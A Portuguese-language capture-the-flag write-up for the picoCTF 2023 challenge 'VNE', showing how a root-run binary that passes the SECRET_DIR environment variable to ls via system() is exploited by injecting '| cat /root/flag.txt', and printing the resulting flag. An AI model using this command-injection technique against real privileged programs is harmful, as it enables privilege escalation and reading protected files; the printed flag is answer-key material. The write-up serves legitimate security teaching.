VNE

Descrição do Desafio:

Autor: Junias Bonou Plataforma: PicoCTF Categoria: Binary Exploitation Dificuldade: Média Data: 2023 Descrição:

We've got a binary that can list directories as root, try it out !!

Passo a Passo da Solução

1. Entendendo como o binário funciona

Este desafio é feito por meio de conexão ssh, então não há nenhum arquivo para download. Com a conexão estabelecida, nós temos acesso ao bash da máquina, e no diretório do usuário há um arquivo executável bin que se executado de primeira vai exibir o erro:

ctf-player@pico-chall$ ./bin
Error: SECRET_DIR environment variable is not set

Como próximo passo, setamos a variável SECRET_DIR para algum diretório e vemos qual vai ser a saída:

ctf-player@pico-chall$ export SECRET_DIR=/challenge
ctf-player@pico-chall$ ./bin
Listing the content of /challenge as root: 
config-box.py  metadata.json  profile

E com isso descobrimos que o arquivo lista os arquivos dentro de um diretório, conforme dito na descrição. Mas algo ainda não está claro, que é como este arquivo está listando os arquivos. Para isso podemos digitar qualquer coisa dentro da variável para ver se ocorre algum erro.

ctf-player@pico-chall$ export SECRET_DIR=---
ctf-player@pico-chall$ ./bin
Listing the content of --- as root: 
ls: unrecognized option '---'
Try 'ls --help' for more information.
Error: system() call returned non-zero value: 512

Pronto, descobrimos que o arquivo está usando a syscall do comando ls.

2. Solução

Aqui nós já sabemos quase tudo, só não sabemos onde está a flag e como pegar o conteúdo de um arquivo. Para encontrar a flag basta imprimir o conteúdo de alguns diretórios que não temos permissão para acessar, no caso a pasta root foi a primeira a ser testada, e lá estava o arquivo:

ctf-player@pico-chall$ export SECRET_DIR=/root
ctf-player@pico-chall$ ./bin
Listing the content of /root as root: 
flag.txt

A parte de pegar o conteúdo de um arquivo é simples de se fazer, porque se considerarmos que o binário não está tratando o conteúdo da SECRET_DIR, podemos tentar passar outro comando via pipe. E por sorte, o binário não está tratando o conteúdo.

ctf-player@pico-chall$ export SECRET_DIR="| cat /root/flag.txt"
ctf-player@pico-chall$ ./bin
Listing the content of | cat /root/flag.txt as root:

Flag

picoCTF{Power_t0_man!pul4t3_3nv_1670f174}

Autor da WriteUp

Membro de Exploitation - HenriUz

Atualizado